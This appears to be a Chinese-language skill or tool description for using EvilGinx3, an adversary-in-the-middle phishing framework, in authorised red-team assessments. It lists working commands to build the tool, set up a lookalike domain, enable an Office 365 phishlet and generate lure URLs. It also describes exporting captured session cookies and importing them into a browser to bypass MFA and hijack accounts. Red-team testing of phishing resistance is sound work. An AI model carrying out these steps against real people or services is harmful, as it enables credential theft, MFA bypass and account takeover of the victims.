用途:该技能用于在获得授权的安全评估中,通过 EvilGinx3 中间人(AiTM)钓鱼框架实施初始访问,捕获登录凭据与会话 Cookie,演示绕过 MFA 的风险。
主要能力:EvilGinx3 作为受害者与合法认证服务之间的透明反向代理,可拦截完整认证流程,包括 MFA 令牌和会话 Cookie;支持自定义 phishlet 针对授权目标;自动为配置域名申请 Let's Encrypt 证书;可生成诱饵 URL 并设置捕获后跳转;可与 GoPhish 或 EvilGoPhish 集成进行邮件投递与跟踪;捕获的会话 Cookie 可导入浏览器劫持已认证会话。
使用方式:需先准备相似域名与 VPS,将 DNS A 记录指向服务器 IP,然后安装: git clone https://github.com/kgretzky/evilginx2.git cd evilginx2 make sudo ./bin/evilginx -p ./phishlets 配置域名与 IP: config domain example-phish.com config ipv4 <server-ip> 启用 phishlet 并生成诱饵: phishlets hostname o365 login.example-phish.com phishlets enable o365 lures create o365 lures get-url 0 通过 sessions 命令查看捕获的会话,导出 Cookie 后使用 Cookie-Editor 等扩展导入浏览器验证会话劫持。
适用场景:红队演练、安全测试与审计、事件响应相关流程、安全控制验证。
限制与前提:必须获得明确授权,仅在测试或实验环境中执行;需熟悉红队概念与工具,具备 Python 3.8+ 及依赖;涉及域名注册、DNS 与 SSL 配置。资料未提供具体收费、价格或效果数据。